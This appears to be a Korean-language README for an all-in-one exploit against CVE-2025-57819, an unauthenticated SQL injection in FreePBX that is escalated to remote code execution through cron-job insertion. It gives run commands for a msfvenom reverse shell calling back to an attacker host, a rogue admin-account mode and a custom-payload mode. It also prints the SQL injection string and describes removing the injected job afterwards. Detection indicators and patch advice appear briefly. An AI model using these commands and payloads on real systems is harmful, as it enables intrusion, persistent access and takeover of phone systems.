
FreePBX 인증 전 SQLi에서 RCE로 (CVE-2025-57819) — 올인원 익스플로잇
CVE-2025-57819를 위한 올인원 익스플로잇입니다. FreePBX의 엔드포인트 모듈에 있는 인증되지 않은 SQL 삽입 취약점으로, 크론 작업 삽입을 통해 원격 코드 실행으로 이어집니다.
FreePBX는 인증 없이 admin/ajax.php?module=FreePBX\modules\endpoint\ajax 엔드포인트를 노출합니다 (CWE-288). brand 매개변수가 살균 처리 없이 SQL 쿼리에 직접 전달되어 (CWE-89), 공격자가 asterisk 데이터베이스에 임의의 SQL 문을 주입할 수 있습니다.
[Unauthenticated HTTP request]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
│
▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
│
▼
Remote Code Execution
이 익스플로잇은 세 가지 모드를 지원합니다:
msfvenom을 통해 linux/x64/shell_reverse_tcp 바이너리 생성python3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
예시:
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
역방향 셸에는 포트 4452를, HTTP 스테이지 서버에는 포트 4453을 사용합니다.
--create-user)SQLi를 통해 새로운 FreePBX 관리자 계정을 생성합니다. 역방향 셸, 리치백, 바이너리가 필요하지 않습니다.
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <path>)msfvenom으로 생성하는 대신 자신의 ELF 바이너리를 사용합니다.
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
requests 라이브러리 (pip install requests)msfvenom) 또는 --payload를 이용한 사용자 정의 페이로드--create-user 모드: Python + requests 외에는 필요하지 않음취약한 엔드포인트는 다음과 같습니다:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
brand 매개변수가 살균 처리 없이 SQL INSERT에 연결됩니다. 익스플로잇은 다음과 같이 주입을 구성합니다:
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
끝의 --는 원래 쿼리의 나머지 부분을 주석 처리합니다.
FreePBX는 Asterisk cron 하위 시스템을 사용합니다. 크론 작업은 매 분마다 확인됩니다. 삽입된 작업의 일정(* * * * *)이 일치하면 명령이 asterisk 시스템 사용자로 실행됩니다.
세션이 종료되거나 타임아웃되면, 익스플로잇은 DELETE SQLi를 전송하여 cron_jobs에서 주입된 크론 작업을 제거합니다.
asterisk.cron_jobs에 무작위 모듈/작업 이름으로 예상치 못한 항목이 나타남asterisk 사용자의 역방향 셸 연결ampusers에 무작위 새 관리자 계정이 생성됨 (--create-user 모드인 경우)엔드포인트 모듈을 패치된 버전으로 업데이트하세요:
이 소프트웨어는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않거나 테스트에 대한 명시적 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임지지 않습니다.